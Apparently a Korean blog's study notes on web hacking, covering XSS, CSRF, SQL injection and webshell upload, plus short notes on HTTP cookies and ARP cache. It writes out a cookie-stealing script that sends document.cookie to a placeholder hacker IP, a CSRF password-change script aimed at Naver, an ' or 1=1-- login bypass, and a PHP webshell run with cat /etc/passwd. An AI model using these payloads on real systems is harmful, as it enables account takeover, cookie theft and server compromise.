파이썬웹해킹 시작

Web hacking|2020. 12. 1. 09:08

document.location=http://해커ip/cookie=?document.cookie

 

csrf 크로사이트 요청 위조

 

 

 

피해자의 아이디는 알지만 비밀번호는 몰라.그래도 로그인 하고싶다.

 

피해자의 계정 비밀번호를 내가원하는 값으로 바꾸게 하자.

 

 

 

요청위조

 

내pc에서 내 비밀번호를 바꿔보니 정상적인 요청은 다음과 같다.

 

www.naver.com/account.jsp?passwd=ksdfgy849

 

 

 

 

 

 

 

 

https://nid.naver.com/user2/help/myInfo.nhn?m=viewChangePasswd&lang=ko_KR&pass=034848dw4qddqd

pass=~~~~이걸추가하면

비밀번호가 초기화 되더라

 

<script>

location.htef=https://nid.naver.com/user2/help/myInfo.nhn?m=viewChangePasswd&lang=ko_KR&pass=034848dw4qddqd

</script>

 

 

ㅇ이걸 사용자가 실행을하면 비밀번호가 바뀜

비밀번호를 변경하는 요청(url)을 피해자가 실행하게 만든다.

 

 

 

 

jason

jason1234

 

 

 

웹서버 : select * from account where id="and pass="

db서버: select * from account where id='jason and pass='jason1234'

조회되는 값이 1개 이상이라도 있으면 인증 성공

 

 

jason

' or 1=1--

 

 

 

웹서버 : select * from account where id="and pass="

db서버: select * from account where id='jason and pass=''or 1=1--'

 

 

 

---------------------------------------------------

웹셸 업로드*

 

 

php서버

 

webshell.php

<?

passthru[get(cmd)]

?>

 

 

브라우저

www.naver.com/bbs?id=300&file=webshell.php&cmd=cat /etc/passwd

www.naver.com/bbs?id=300&file=webshell.php&cmd=ifconfig

 

이런식으로 웹 브라우저에서 보이게됨!

 

 

 

 

 

 

 

http 는 stateless -cookie

연결자동으로끊김

 

 

 

 

 

로그인을하면 3 way handshaking 연결

쿠키를 생성

4 way handshaking 연결 끊는다

 

자동연결끊김.

 

 

 

 

 

-------------------------------------------------------------

 

arp 캐쉬메모리삭제.

 

netsh interface ip delete arpcache

 

arp -a

 

댓글()